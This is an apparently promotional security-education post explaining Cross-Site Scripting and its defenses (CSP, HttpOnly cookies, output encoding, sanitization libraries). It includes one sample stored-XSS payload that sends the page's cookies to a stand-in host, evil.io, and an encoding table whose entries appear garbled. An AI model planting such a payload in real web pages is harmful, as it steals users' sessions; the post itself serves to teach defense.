They just need one unsanitized input field.

This is Cross-Site Scripting (XSS) — and it's still in the OWASP Top 10 for a reason.

Here's Exactly How It Works

A user visits a bank's comment section. An attacker has already submitted this as a "comment":

<script>new Image().src='//evil.io?d='+document.cookie</script>

The server stored it. No sanitization. No filtering.

Now the victim's browser loads the page — and runs that script. Because it came from the bank's domain, the Same-Origin Policy doesn't blink.

The session token flies silently to evil.io. The attacker logs in.

No password touched.

The 3 Types of XSS

Each one more subtle than the last:

① Stored XSS

The payload lives in the database. It executes for every user who loads the page — including admins. One injection, thousands of sessions compromised.

② Reflected XSS

The payload bounces back from a URL or form. It requires a crafted link to be clicked — but it's just as dangerous.

③ DOM-based XSS

Happens entirely client-side. The server never sees the malicious input. Most WAFs are completely blind to it.

The Defense Isn't Complicated — Most Teams Just Skip It

✅ Content-Security-Policy (CSP)

Tells the browser to only execute scripts from approved sources.

Content-Security-Policy: script-src 'self'

Inline scripts? Blocked before they run.

✅ HttpOnly Cookie Flag

Even if a script executes — it can't read the session token.

Set-Cookie: session=abc; HttpOnly; Secure; SameSite=Strict

One flag. Massive impact.

✅ Output Encoding

Encode everything a user typed before rendering it:

<  →  <
>  →  >
"  →  "

✅ Server-Side Sanitization

Use proven libraries — not regex.

• Python → bleach / MarkupSafe
• Node.js → DOMPurify
• Java → OWASP Java Encoder

What Most Teams Get Wrong

They deploy a WAF and call it done.

WAFs can be bypassed — encoding tricks, obfuscation, DOM vectors. The real defense lives in the code, not in front of it.

Defense in depth means all four layers working together. Remove one — and the others might not be enough.

XSS has been around for 25+ years.

It keeps appearing because developers assume someone else already handled it.

Nobody handled it.

I created a full cinematic breakdown of this attack — showing every step from login to session hijack to defense — frame by frame.

You can watch the full visual explanation on my YouTube channel: https://www.youtube.com/@CAISD_Official

Because security isn't about fear. It's about understanding how things actually break.

#CyberSecurity #WebSecurity #XSS #AppSec #OWASP #InfoSec #SoftwareEngineering